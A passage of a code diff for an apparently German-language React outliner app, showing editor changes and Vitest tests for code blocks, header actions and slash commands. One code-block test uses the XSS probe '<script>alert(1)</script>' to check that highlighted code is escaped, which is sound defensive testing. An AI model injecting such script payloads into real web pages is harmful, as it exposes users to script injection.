-      const inheritedType: BlockType = 'text';
+      const isHeading =
+        (currentBlock?.type === 'h1' || currentBlock?.type === 'h2' || currentBlock?.type === 'h3') &&
+        !currentBlock.collapsed;
+      // Enter on an open heading starts its section: the new bullet goes below it as a child
+      const level = currentBlock ? Math.max(0, currentBlock.level || 0) + (isHeading ? 1 : 0) : 0;
+      // Numbered lists continue on Enter (an empty item ends the list, see OutlinerBlock)
+      const inheritedType: BlockType = currentBlock?.type === 'numbered' ? 'numbered' : 'text';
 
       const newBlock: DocumentBlock = {
         id: `blk_${Date.now().toString(36)}_${Math.random().toString(36).slice(2, 7)}`,
@@ -268,178 +304,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
       const currentBlock = blocks[idx];
       const baseLevel = Math.max(0, currentBlock.level || 0);
 
-      // Detect indentation style (2-space vs 4-space tabs)
-      let detectedSpaceStep = 2;
-      const leadingSpacesList: number[] = [];
-      for (const line of rawLines) {
-        if (!line.trim()) continue;
-        let sp = 0;
-        while (sp < line.length && line[sp] === ' ') sp++;
-        if (sp > 0) leadingSpacesList.push(sp);
-      }
-      if (leadingSpacesList.length > 0 && leadingSpacesList.every((s) => s % 4 === 0)) {
-        detectedSpaceStep = 4;
-      }
-
-      // Parse lines into structured blocks
-      interface ParsedPasteItem {
-        type: BlockType;
-        checked?: boolean;
-        content: string;
-        indent: number;
-      }
-
-      const parsed: ParsedPasteItem[] = [];
-      let currentItem: ParsedPasteItem | null = null;
-      let inCodeBlock = false;
-      let afterHeading = false;
-
-      const pushCurrentItem = () => {
-        if (currentItem) {
-          currentItem.content = currentItem.content.trimEnd();
-          parsed.push(currentItem);
-          currentItem = null;
-        }
-      };
-
-      for (let i = 0; i < rawLines.length; i++) {
-        const rawLine = rawLines[i];
-
-        // 1. Inside a fenced code block
-        if (inCodeBlock) {
-          if (currentItem) {
-            currentItem.content += '\n' + rawLine;
-          }
-          if (rawLine.trim().startsWith('```')) {
-            inCodeBlock = false;
-          }
-          continue;
-        }
-
-        // 2. Starts a code fence
-        if (rawLine.trim().startsWith('```')) {
-          inCodeBlock = true;
-          if (afterHeading) {
-            afterHeading = false;
-            pushCurrentItem();
-            currentItem = {
-              type: 'text',
-              content: rawLine,
-              indent: 0,
-            };
-          } else if (currentItem) {
-            currentItem.content += (currentItem.content.endsWith('\n') ? '' : '\n') + rawLine;
-          } else {
-            currentItem = {
-              type: 'text',
-              content: rawLine,
-              indent: 0,
-            };
-          }
-          continue;
-        }
-
-        // Measure leading indent
-        let tabs = 0;
-        let spaces = 0;
-        let charIdx = 0;
-        while (charIdx < rawLine.length) {
-          if (rawLine[charIdx] === '\t') {
-            tabs++;
-            charIdx++;
-          } else if (rawLine[charIdx] === ' ') {
-            spaces++;
-            charIdx++;
-          } else {
-            break;
-          }
-        }
-        const strippedLine = rawLine.slice(charIdx);
-        const lineIndent = tabs + Math.floor(spaces / detectedSpaceStep);
-
-        // Blank lines
-        if (strippedLine.trim() === '') {
-          if (currentItem) {
-            currentItem.content += '\n';
-          }
-          continue;
-        }
-
-        // Headings: #, ##, ###
-        const h3Match = strippedLine.match(/^###\s+(.*)$/);
-        const h2Match = strippedLine.match(/^##\s+(.*)$/);
-        const h1Match = strippedLine.match(/^#\s+(.*)$/);
-        if (h1Match || h2Match || h3Match) {
-          pushCurrentItem();
-          afterHeading = true;
-          const type: BlockType = h1Match ? 'h1' : h2Match ? 'h2' : 'h3';
-          const content = (h1Match || h2Match || h3Match)![1];
-          parsed.push({ type, content, indent: lineIndent });
-          continue;
-        }
-
-        // Dividers: ---, ***, ___
-        if (/^(?:---|---|\*\*\*|___)\s*$/.test(strippedLine.trim())) {
-          pushCurrentItem();
-          afterHeading = false;
-          parsed.push({ type: 'divider', content: '---', indent: lineIndent });
-          continue;
-        }
-
-        // Todo items: - [ ], - [x], * [ ], * [x]
-        const todoMatch = strippedLine.match(/^[-*]\s*\[([ xX])\]\s*(.*)$/);
-        if (todoMatch) {
-          pushCurrentItem();
-          afterHeading = false;
-          parsed.push({
-            type: 'todo',
-            checked: todoMatch[1].toLowerCase() === 'x',
-            content: todoMatch[2],
-            indent: lineIndent,
-          });
-          continue;
-        }
-
-        // Explicit bullet or numbered list: - item, * item, • item, 1. item, 1) item
-        const bulletMatch = strippedLine.match(/^[-*•]\s+(.*)$/);
-        const numMatch = strippedLine.match(/^\d+[.)]\s+(.*)$/);
-        if (bulletMatch || numMatch) {
-          pushCurrentItem();
-          afterHeading = false;
-          parsed.push({
-            type: 'text',
-            content: (bulletMatch ? bulletMatch[1] : numMatch![1]),
-            indent: lineIndent,
-          });
-          continue;
-        }
-
-        // Regular text line
-        if (afterHeading) {
-          // This starts the single bullet point after the heading
-          afterHeading = false;
-          pushCurrentItem();
-          currentItem = {
-            type: 'text',
-            content: strippedLine,
-            indent: lineIndent,
-          };
-        } else if (currentItem) {
-          if (currentItem.content.endsWith('\n')) {
-            currentItem.content += strippedLine;
-          } else {
-            currentItem.content += '\n' + strippedLine;
-          }
-        } else {
-          currentItem = {
-            type: 'text',
-            content: strippedLine,
-            indent: lineIndent,
-          };
-        }
-      }
-
-      pushCurrentItem();
+      const parsed = parsePastedLines(rawLines);
 
       if (parsed.length === 0) return;
 
@@ -752,6 +617,39 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
     [blocks, draggedIndex, onMoveBlock, lockHolder, onLockedAction]
   );
 
+  // Phone bar: runs the action at once and puts the focus back into the same bullet within the same tap
+  // (React may move the field in the DOM, which drops the focus; iOS reopens the keyboard only inside a tap)
+  const runOnFocused = (action: (blockId: string) => void) => {
+    const id = focusedBlockId;
+    if (!id) return;
+    const holder = lockHolder(id);
+    if (holder) {
+      onLockedAction?.(holder);
+      return;
+    }
+    const before = textareaMapRef.current.get(id);
+    const caret = before ? before.selectionStart : null;
+    flushSync(() => action(id));
+    const el = textareaMapRef.current.get(id);
+    if (!el) return;
+    if (document.activeElement !== el) {
+      el.focus({ preventScroll: true });
+      if (caret !== null) {
+        try {
+          el.setSelectionRange(caret, caret);
+        } catch {
+          // ignore
+        }
+      }
+    }
+    // Keep the bullet visible above the bar (about 56 px) and the keyboard
+    const vv = window.visualViewport;
+    const visibleBottom = (vv ? vv.height + vv.offsetTop : window.innerHeight) - 64;
+    const rect = el.getBoundingClientRect();
+    if (rect.bottom > visibleBottom || rect.top < 0) el.scrollIntoView({ block: 'center' });
+  };
+  const showMobileBar = isTouchOnly && canEdit && !!focusedBlockId && blocks.some((b) => b.id === focusedBlockId);
+
   useEffect(() => {
     const clearDrag = () => {
       setDraggedIndex(null);
@@ -772,6 +670,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
             block={block}
             index={index}
             isLast={isLast}
+            siblingFollows={siblingFollows(index)}
             maxAllowedLevel={maxAllowedLevel}
             hasChildren={hasChildren}
             isFocused={focusedBlockId === block.id}
@@ -783,9 +682,11 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
             onRedo={onRedo}
             levelOffset={levelOffset}
             onZoomBlock={onZoomBlock}
+            onExtractBlock={onExtractBlock}
             onUpdateBlock={onUpdateBlock}
             onCreateBlockBelow={handleCreateBlockBelow}
             onPasteMultiLines={handlePasteMultiLines}
+            listMarker={listLabels.get(block.id)}
             onDeleteBlock={handleDeleteBlock}
             onMergeWithPrevious={handleMergeWithPrevious}
             onIndentBlock={handleIndentBlock}
@@ -795,6 +696,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
             onOpenTask={onOpenTask}
             onTagClick={onTagClick}
             onWikiLinkClick={onWikiLinkClick}
+            onCopyBlockLink={onCopyBlockLink}
             onDragStartBlock={handleDragStartBlock}
             onDragOverBlock={handleDragOverBlock}
             onDropBlock={handleDropBlock}
@@ -807,7 +709,7 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
 
       {canEdit && (
         <div
-          className={`min-h-[14rem] pt-2 pl-2 transition-colors cursor-text ${
+          className={`${compact ? 'min-h-[2.5rem]' : 'min-h-[14rem]'} pt-2 pl-2 transition-colors cursor-text ${
             dragOverIndex === blocks.length ? 'border-t-2 border-accent bg-accent/10 rounded' : ''
           }`}
           onClick={(e) => {
@@ -843,6 +745,14 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
           onDrop={() => handleDropBlock(blocks.length)}
         />
       )}
+      {showMobileBar && (
+        <MobileOutlineBar
+          onOutdent={() => runOnFocused((id) => handleIndentBlock(id, -1))}
+          onIndent={() => runOnFocused((id) => handleIndentBlock(id, 1))}
+          onMoveUp={() => runOnFocused((id) => onMoveSibling?.(id, -1))}
+          onMoveDown={() => runOnFocused((id) => onMoveSibling?.(id, 1))}
+        />
+      )}
     </div>
   );
 });

frontend/src/features/workspace/__tests__/CodeBlockEditor.test.tsx

@@ -0,0 +1,258 @@
+import React, { useState } from 'react';
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
+import { render, fireEvent, screen, waitFor, act } from '@testing-library/react';
+import { CodeBlockEditor, loadPrismLanguage } from '../CodeBlockEditor';
+import { OutlinerBlock } from '../OutlinerBlock';
+import { DocumentBlock } from '../../../lib/types';
+
+function makeCodeBlock(overrides: Partial<DocumentBlock> = {}): DocumentBlock {
+  return {
+    id: 'code-1',
+    type: 'code',
+    content: 'name: mindsift\nport: 8080',
+    level: 0,
+    position: 1000,
+    ...overrides,
+  };
+}
+
+function renderOutlinerCodeBlock(
+  initialBlock: DocumentBlock,
+  props: Partial<React.ComponentProps<typeof OutlinerBlock>> = {}
+) {
+  const updates: DocumentBlock[] = [];
+  const indentCalls: Array<[string, 1 | -1]> = [];
+
+  const Wrapper: React.FC = () => {
+    const [blk, setBlk] = useState<DocumentBlock>(initialBlock);
+    return (
+      <OutlinerBlock
+        docId="doc-1"
+        block={blk}
+        index={0}
+        isLast
+        maxAllowedLevel={1}
+        hasChildren={false}
+        isFocused={false}
+        canEdit={props.canEdit ?? true}
+        onUpdateBlock={(updated, immediate) => {
+          updates.push(updated);
+          setBlk(updated);
+          props.onUpdateBlock?.(updated, immediate);
+        }}
+        onCreateBlockBelow={props.onCreateBlockBelow || (() => {})}
+        onDeleteBlock={props.onDeleteBlock || (() => {})}
+        onIndentBlock={(id, delta) => {
+          indentCalls.push([id, delta]);
+          props.onIndentBlock?.(id, delta);
+        }}
+        onNavigateFocus={props.onNavigateFocus || (() => {})}
+        registerTextareaRef={props.registerTextareaRef || (() => {})}
+      />
+    );
+  };
+
+  const utils = render(<Wrapper />);
+  return { ...utils, updates, indentCalls };
+}
+
+describe('CodeBlockEditor', () => {
+  beforeEach(() => {
+    vi.useRealTimers();
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it('calls update with lang when selecting a language and hides the picker for readers', () => {
+    const { container, updates, unmount } = renderOutlinerCodeBlock(makeCodeBlock({ lang: undefined }));
+
+    const select = container.querySelector('select') as HTMLSelectElement;
+    expect(select).toBeTruthy();
+    expect(select.value).toBe('');
+
+    fireEvent.change(select, { target: { value: 'yaml' } });
+    expect(updates).toHaveLength(1);
+    expect(updates[0].lang).toBe('yaml');
+    expect(select.value).toBe('yaml');
+
+    unmount();
+
+    // Reader view (!canEdit): shows plain text instead of <select> 
+    const readerView = render(
+      <CodeBlockEditor block={makeCodeBlock({ lang: 'yaml' })} canEdit={false} />
+    );
+    expect(readerView.container.querySelector('select')).toBeNull();
+    expect(readerView.getByText('yaml')).toBeTruthy();
+  });
+
+  it('copies the code content to the clipboard and shows "Kopiert!" for 1.5s', () => {
+    vi.useFakeTimers();
+    const writeTextMock = vi.fn().mockResolvedValue(undefined);
+    Object.defineProperty(navigator, 'clipboard', {
+      value: { writeText: writeTextMock },
+      configurable: true,
+      writable: true,
+    });
+
+    const block = makeCodeBlock({ content: 'echo "hello world"' });
+    render(<CodeBlockEditor block={block} content={block.content} canEdit />);
+
+    const copyBtn = screen.getByRole('button', { name: /Kopieren/i });
+    fireEvent.click(copyBtn);
+
+    expect(writeTextMock).toHaveBeenCalledWith('echo "hello world"');
+    expect(screen.getByRole('button', { name: 'Kopiert!' })).toBeTruthy();
+
+    act(() => {
+      vi.advanceTimersByTime(1500);
+    });
+
+    expect(screen.queryByRole('button', { name: 'Kopiert!' })).toBeNull();
+    expect(screen.getByRole('button', { name: 'Kopieren' })).toBeTruthy();
+  });
+
+  it('indents by 2 spaces on Tab and outdents on Shift+Tab without indenting the bullet', () => {
+    const { container, updates, indentCalls } = renderOutlinerCodeBlock(
+      makeCodeBlock({ content: 'key: value', lang: 'yaml' })
+    );
+    const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
+    textarea.focus();
+    textarea.setSelectionRange(0, 0);
+
+    fireEvent.keyDown(textarea, { key: 'Tab' });
+    expect(textarea.value).toBe('  key: value');
+    expect(updates[updates.length - 1]?.content).toBe('  key: value');
+    expect(indentCalls).toHaveLength(0);
+
+    fireEvent.keyDown(textarea, { key: 'Tab', shiftKey: true });
+    expect(textarea.value).toBe('key: value');
+    expect(updates[updates.length - 1]?.content).toBe('key: value');
+    expect(indentCalls).toHaveLength(0);
+  });
+
+  it('indents and outdents multiple selected lines on Tab and Shift+Tab', () => {
+    const { container } = renderOutlinerCodeBlock(
+      makeCodeBlock({ content: 'first: 1\nsecond: 2', lang: 'yaml' })
+    );
+    const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
+    textarea.focus();
+    textarea.setSelectionRange(0, textarea.value.length);
+
+    fireEvent.keyDown(textarea, { key: 'Tab' });
+    expect(textarea.value).toBe('  first: 1\n  second: 2');
+
+    fireEvent.keyDown(textarea, { key: 'Tab', shiftKey: true });
+    expect(textarea.value).toBe('first: 1\nsecond: 2');
+  });
+
+  it('renders Prism .token spans for yaml and escapes HTML tags like <script>', async () => {
+    const code = 'title: "<script>alert(1)</script>"\nenabled: true\ncount: 42';
+    const block = makeCodeBlock({ content: code, lang: 'yaml' });
+    const { container } = render(<CodeBlockEditor block={block} content={code} canEdit />);
+
+    await waitFor(() => {
+      expect(container.querySelectorAll('.token').length).toBeGreaterThan(0);
+    });
+
+    const pre = container.querySelector('pre') as HTMLPreElement;
+    const codeEl = pre.querySelector('code') as HTMLElement;
+    expect(pre.getAttribute('aria-hidden')).toBe('true');
+    expect(codeEl.querySelectorAll('.token').length).toBeGreaterThan(0);
+
+    // Ensure no real <script> element was injected into the DOM and raw HTML is escaped
+    expect(pre.querySelector('script')).toBeNull();
+    expect(codeEl.innerHTML).toContain('&lt;script&gt;');
+    expect(pre.textContent).toContain('<script>alert(1)</script>');
+  });
+
+  it('loads dependent grammars in the right order (tsx, cpp, php, scala)', async () => {
+    expect(await loadPrismLanguage('tsx')).toBe(true);
+    expect(await loadPrismLanguage('cpp')).toBe(true);
+    expect(await loadPrismLanguage('php')).toBe(true);
+    expect(await loadPrismLanguage('scala')).toBe(true);
+  });
+
+  it('sets lang directly when typing /code yaml or ```yaml in an empty bullet block', () => {
+    const bulletBlock: DocumentBlock = {
+      id: 'b-1',
+      type: 'bullet',
+      content: '',
+      level: 0,
+      position: 1000,
+    };
+    const { container, updates } = renderOutlinerCodeBlock(bulletBlock);
+    const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
+
+    fireEvent.change(textarea, { target: { value: '/code yaml' } });
+    expect(updates[updates.length - 1]?.type).toBe('code');
+    expect(updates[updates.length - 1]?.lang).toBe('yaml');
+    expect(updates[updates.length - 1]?.content).toBe('');
+
+    // Also test ```json shortcut
+    const bulletBlock2: DocumentBlock = {
+      id: 'b-2',
+      type: 'bullet',
+      content: '',
+      level: 0,
+      position: 2000,
+    };
+    const res2 = renderOutlinerCodeBlock(bulletBlock2);
+    const ta2 = res2.container.querySelector('textarea') as HTMLTextAreaElement;
+    fireEvent.change(ta2, { target: { value: '```json' } });
+    expect(res2.updates[res2.updates.length - 1]?.type).toBe('code');
+    expect(res2.updates[res2.updates.length - 1]?.lang).toBe('json');
+  });
+
+  it('renders line numbers column with aria-hidden, user-select: none, and correct line count including trailing empty lines and 100+ lines', () => {
+    // 1. Single empty line
+    const { container, rerender } = render(
+      <CodeBlockEditor block={makeCodeBlock({ id: 'code-empty', content: '' })} content="" canEdit />
+    );
+    const getLineContainer = () => container.querySelector('[data-testid="code-line-numbers"]') as HTMLElement;
+    expect(getLineContainer()).toBeTruthy();
+    expect(getLineContainer().getAttribute('aria-hidden')).toBe('true');
+    expect(getLineContainer().className).toContain('select-none');
+
+    let lineEls = container.querySelectorAll('[data-line-number]');
+    expect(lineEls).toHaveLength(1);
+    expect(lineEls[0].textContent?.trim()).toBe('1');
+
+    // 2. Trailing empty line gives an extra line number (e.g. line 1 + empty line 2)
+    rerender(
+      <CodeBlockEditor
+        block={makeCodeBlock({ id: 'code-trailing', content: `first line
+` })}
+        content={`first line
+`}
+        canEdit
+      />
+    );
+    lineEls = container.querySelectorAll('[data-line-number]');
+    expect(lineEls).toHaveLength(2);
+    expect(lineEls[0].textContent?.trim()).toBe('1');
+    expect(lineEls[1].textContent?.trim()).toBe('2');
+
+    // 3. 120 lines (100+ lines test)
+    const longCode = Array.from({ length: 120 }, (_, i) => `const x_${i + 1} = ${i + 1};`).join('\n');
+    rerender(
+      <CodeBlockEditor
+        block={makeCodeBlock({ id: 'code-long', content: longCode })}
+        content={longCode}
+        canEdit
+      />
+    );
+    lineEls = container.querySelectorAll('[data-line-number]');
+    expect(lineEls).toHaveLength(120);
+    expect(lineEls[0].textContent?.trim()).toBe('1');
+    expect(lineEls[99].textContent?.trim()).toBe('100');
+    expect(lineEls[119].textContent?.trim()).toBe('120');
+
+    // Textarea has whitespace-pre and overlay has whitespace-pre
+    const textarea = container.querySelector('textarea') as HTMLTextAreaElement;
+    const pre = container.querySelector('pre') as HTMLPreElement;
+    expect(textarea.className).toContain('whitespace-pre');
+    expect(pre.className).toContain('whitespace-pre');
+  });
+});

frontend/src/features/workspace/__tests__/DocumentEditor.header.test.tsx

@@ -0,0 +1,163 @@
+import React from 'react';
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, screen, fireEvent, waitFor } from '@testing-library/react';
+import { DocumentEditor } from '../DocumentEditor';
+import { api } from '../../../lib/api';
+import { Document } from '../../../lib/types';
+import { EngineState } from '../../../lib/docSync/engine';
+
+let currentListener: ((state: EngineState) => void) | null = null;
+const mockUndo = vi.fn(() => ({ ok: true }));
+const mockRedo = vi.fn(() => ({ ok: true }));
+
+const baseEngineState: EngineState = {
+  ready: true,
+  status: 'saved',
+  role: 'owner',
+  title: 'Test Notiz',
+  blocks: [{ id: 'b1', documentId: 'doc_1', type: 'text', content: 'Hallo', level: 0, position: 1000 }],
+  pendingCount: 0,
+  shared: true,
+  sessions: 2,
+  presence: [{ userId: 'u2', name: 'Bob' }],
+  lockedByOthers: [],
+  conflicts: [],
+  canUndo: false,
+  canRedo: false,
+  channel: 'ws',
+};
+
+vi.mock('../../../lib/docSync/engine', () => {
+  return {
+    DocSyncEngine: class {
+      subscribe(fn: (state: EngineState) => void) {
+        currentListener = fn;
+        fn(baseEngineState);
+        return () => {
+          currentListener = null;
+        };
+      }
+      start() {
+        return Promise.resolve();
+      }
+      stop() {}
+      getState() {
+        return baseEngineState;
+      }
+      setTaskLinks() {}
+      focusBlock() {}
+      applyFlat() {}
+      setTitle() {}
+      undo() {
+        return mockUndo();
+      }
+      redo() {
+        return mockRedo();
+      }
+    },
+  };
+});
+
+vi.mock('../../../lib/api', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('../../../lib/api')>();
+  return {
+    ...actual,
+    api: {
+      ...actual.api,
+      getDocument: vi.fn(),
+      getUsersDirectory: vi.fn(() => Promise.resolve([])),
+      getDocumentBacklinks: vi.fn(() => Promise.resolve({ backlinks: [] })),
+    },
+  };
+});
+
+const makeDoc = (overrides: Partial<Document> = {}): Document => ({
+  id: 'doc_1',
+  userId: 'u1',
+  title: 'Test Notiz',
+  icon: '📝',
+  folderPath: '',
+  content: '',
+  blocks: [{ id: 'b1', documentId: 'doc_1', type: 'text', content: 'Hallo', level: 0, position: 1000 }],
+  tags: [],
+  isPinned: false,
+  isArchived: false,
+  isOwner: true,
+  createdAt: '2026-10-30T08:00:00Z',
+  updatedAt: '2026-10-30T08:00:00Z',
+  ...overrides,
+});
+
+describe('DocumentEditor header actions & status callback (Teil D)', () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    const doc = makeDoc();
+    vi.mocked(api.getDocument).mockResolvedValue(doc);
+  });
+
+  it('reports live/presence status upward via onHeaderStatusChange and renders Undo/Redo + Three-Dots menu', async () => {
+    const doc = makeDoc({ isOwner: true });
+    const onHeaderStatusChange = vi.fn();
+    const onRequestMerge = vi.fn();
+    const onDeleteDoc = vi.fn();
+    const onOpenShareModal = vi.fn();
+
+    render(
+      <DocumentEditor
+        docId="doc_1"
+        initialDoc={doc}
+        availableFolders={[]}
+        onDocMetadataChange={vi.fn()}
+        onDeleteDoc={onDeleteDoc}
+        onOpenShareModal={onOpenShareModal}
+        onSelectTag={vi.fn()}
+        onRequestMerge={onRequestMerge}
+        onHeaderStatusChange={onHeaderStatusChange}
+      />
+    );
+
+    await waitFor(() => {
+      expect(onHeaderStatusChange).toHaveBeenCalledWith(
+        expect.objectContaining({
+          showLive: true,
+          channel: 'ws',
+        })
+      );
+    });
+
+    // Undo / Redo buttons disabled initially
+    const undoBtn = screen.getByTitle('Rückgängig (Strg+Z)') as HTMLButtonElement;
+    const redoBtn = screen.getByTitle('Wiederholen (Strg+Y)') as HTMLButtonElement;
+    expect(undoBtn.disabled).toBe(true);
+    expect(redoBtn.disabled).toBe(true);
+
+    // Enable Undo & Redo via engine state update
+    currentListener?.({ ...baseEngineState, canUndo: true, canRedo: true });
+    await waitFor(() => {
+      expect(undoBtn.disabled).toBe(false);
+      expect(redoBtn.disabled).toBe(false);
+    });
+
+    fireEvent.click(undoBtn);
+    expect(mockUndo).toHaveBeenCalledTimes(1);
+    fireEvent.click(redoBtn);
+    expect(mockRedo).toHaveBeenCalledTimes(1);
+
+    // Share button is directly visible
+    const shareBtn = screen.getByTitle('Notiz teilen und Berechtigungen');
+    fireEvent.click(shareBtn);
+    expect(onOpenShareModal).toHaveBeenCalledWith(doc);
+
+    // Three-dots menu opens on click, shows secondary actions, and closes on Escape
+    const moreBtn = screen.getByTitle('Weitere Aktionen');
+    fireEvent.click(moreBtn);
+
+    expect(screen.getByText('Notiz anheften')).toBeTruthy();
+    expect(screen.getByText('Mit anderer Notiz zusammenführen…')).toBeTruthy();
+    expect(screen.getByText('Als Markdown (.md) exportieren')).toBeTruthy();
+    expect(screen.getByText('Notiz löschen')).toBeTruthy();
+
+    fireEvent.keyDown(document, { key: 'Escape' });
+    expect(screen.queryByText('Notiz anheften')).toBeNull();
+  });
+});

frontend/src/features/workspace/__tests__/OutlinerBlock.caret.test.tsx

@@ -118,3 +118,400 @@ describe('conflict copies', () => {
     ]);
   });
 });
+
+describe('slash command menu and outliner fixes', () => {
+  it('does not open the slash menu for URLs like https://a.de/b/ but opens for Text /co and closes on Escape or Backspace', () => {
+    const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
+    const { container, queryByText } = renderBlock(block);
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    fireEvent.change(ta, { target: { value: 'https://a.de/b/' } });
+    expect(queryByText('Befehl auswählen')).toBeNull();
+
+    fireEvent.change(ta, { target: { value: 'Text /ca' } });
+    expect(queryByText('Befehl auswählen')).toBeTruthy();
+    expect(queryByText('/callout')).toBeTruthy();
+
+    // Removing the slash closes the menu
+    fireEvent.change(ta, { target: { value: 'Text ' } });
+    expect(queryByText('Befehl auswählen')).toBeNull();
+
+    // Even when no command matches, Escape closes the menu
+    fireEvent.change(ta, { target: { value: '/zzzznotfound' } });
+    expect(queryByText('Kein Befehl gefunden')).toBeTruthy();
+    fireEvent.keyDown(ta, { key: 'Escape' });
+    expect(queryByText('Befehl auswählen')).toBeNull();
+  });
+
+  it('scrolls the active slash command button into view on ArrowDown', () => {
+    const scrollSpy = vi.fn();
+    HTMLElement.prototype.scrollIntoView = scrollSpy;
+    const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
+    const { container } = renderBlock(block);
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    fireEvent.change(ta, { target: { value: '/' } });
+    scrollSpy.mockClear();
+    fireEvent.keyDown(ta, { key: 'ArrowDown' });
+    expect(scrollSpy).toHaveBeenCalledWith({ block: 'nearest', inline: 'nearest' });
+  });
+
+  it('creates a new block on Enter at the last empty top-level bullet, after outdenting if indented', () => {
+    const onIndent = vi.fn();
+    const onCreateBelow = vi.fn();
+    const indented = { id: 'b1', type: 'bullet', content: '', level: 1 } as DocumentBlock;
+    const { container, rerender } = render(
+      <OutlinerBlock
+        docId="d"
+        block={indented}
+        index={0}
+        isLast
+        maxAllowedLevel={2}
+        hasChildren={false}
+        isFocused
+        canEdit
+        onUpdateBlock={() => {}}
+        onCreateBlockBelow={onCreateBelow}
+        onDeleteBlock={() => {}}
+        onIndentBlock={onIndent}
+        onNavigateFocus={() => {}}
+        registerTextareaRef={() => {}}
+      />
+    );
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    fireEvent.keyDown(ta, { key: 'Enter' });
+    expect(onIndent).toHaveBeenCalledWith('b1', -1);
+    expect(onCreateBelow).not.toHaveBeenCalled();
+
+    rerender(
+      <OutlinerBlock
+        docId="d"
+        block={{ ...indented, level: 0 }}
+        index={0}
+        isLast
+        maxAllowedLevel={1}
+        hasChildren={false}
+        isFocused
+        canEdit
+        onUpdateBlock={() => {}}
+        onCreateBlockBelow={onCreateBelow}
+        onDeleteBlock={() => {}}
+        onIndentBlock={onIndent}
+        onNavigateFocus={() => {}}
+        registerTextareaRef={() => {}}
+      />
+    );
+    fireEvent.keyDown(ta, { key: 'Enter' });
+    expect(onCreateBelow).toHaveBeenCalledWith('b1', '');
+  });
+
+  it('lists commands whose name starts with the typed text first (/li → /link before /number)', () => {
+    const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
+    const { container } = renderBlock(block);
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    fireEvent.change(ta, { target: { value: '/li', selectionStart: 3, selectionEnd: 3 } });
+    const labels = [...container.querySelectorAll('button')].map((b) => b.textContent || '').filter((t) => t.startsWith('/'));
+    expect(labels[0]).toMatch(/^\/link/);
+    expect(labels.findIndex((l) => l.startsWith('/number'))).toBeGreaterThan(0);
+  });
+
+  it('keeps an empty indented bullet on its level when another bullet on that level follows', () => {
+    const onIndent = vi.fn();
+    const onCreateBelow = vi.fn();
+    const { container } = render(
+      <OutlinerBlock
+        docId="d"
+        block={{ id: 'b1', type: 'bullet', content: '', level: 1 } as DocumentBlock}
+        index={0}
+        isLast={false}
+        siblingFollows
+        maxAllowedLevel={2}
+        hasChildren={false}
+        isFocused
+        canEdit
+        onUpdateBlock={() => {}}
+        onCreateBlockBelow={onCreateBelow}
+        onDeleteBlock={() => {}}
+        onIndentBlock={onIndent}
+        onNavigateFocus={() => {}}
+        registerTextareaRef={() => {}}
+      />
+    );
+    fireEvent.keyDown(container.querySelector('textarea') as HTMLTextAreaElement, { key: 'Enter' });
+    expect(onIndent).not.toHaveBeenCalled();
+    expect(onCreateBelow).toHaveBeenCalledWith('b1', '');
+  });
+
+  it('inserts a bare URL for /link with a web address in an empty bullet, and [Text](url) otherwise', () => {
+    const updates: DocumentBlock[] = [];
+    const block = { id: 'b1', type: 'bullet', content: '', level: 0 } as DocumentBlock;
+    const { container, getByText, getByRole, getByPlaceholderText, rerender } = renderBlock(block, {
+      onUpdateBlock: (u: DocumentBlock) => updates.push(u),
+    });
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
+    fireEvent.change(ta, { target: { value: '/link' } });
+    fireEvent.keyDown(ta, { key: 'Enter' });
+
+    fireEvent.click(getByText('Web-Link'));
+    fireEvent.change(getByPlaceholderText('https://example.com'), { target: { value: 'https://example.com/test' } });
+    fireEvent.click(getByRole('button', { name: 'Link einfügen' }));
+
+    expect(updates[updates.length - 1]?.content).toBe('https://example.com/test');
+
+    // Non-empty bullet keeps [Text](url)
+    rerender(
+      <OutlinerBlock
+        docId="d"
+        block={{ ...block, content: 'Siehe' }}
+        index={0}
+        isLast
+        maxAllowedLevel={1}
+        hasChildren={false}
+        isFocused={false}
+        canEdit
+        onUpdateBlock={(u: DocumentBlock) => updates.push(u)}
+        onCreateBlockBelow={() => {}}
+        onDeleteBlock={() => {}}
+        onIndentBlock={() => {}}
+        onNavigateFocus={() => {}}
+        registerTextareaRef={() => {}}
+      />
+    );
+    ta.focus();
+    fireEvent.change(ta, { target: { value: 'Siehe /link' } });
+    fireEvent.keyDown(ta, { key: 'Enter' });
+    fireEvent.click(getByText('Web-Link'));
+    fireEvent.change(getByPlaceholderText('z. B. MindSift Dokumentation'), { target: { value: 'Doku' } });
+    fireEvent.change(getByPlaceholderText('https://example.com'), { target: { value: 'https://example.com/doku' } });
+    fireEvent.click(getByRole('button', { name: 'Link einfügen' }));
+
+    expect(updates[updates.length - 1]?.content).toBe('Siehe [Doku](https://example.com/doku)');
+  });
+});
+
+describe('formatting shortcuts (Teil C)', () => {
+  it('toggles bold with and without selection (Ctrl+B and Cmd+B)', () => {
+    const block = { id: 'b1', type: 'bullet', content: 'hallo welt', level: 0 } as DocumentBlock;
+    const { container } = renderBlock(block);
+    const ta = container.querySelector('textarea') as HTMLTextAreaElement;
+    ta.focus();
+
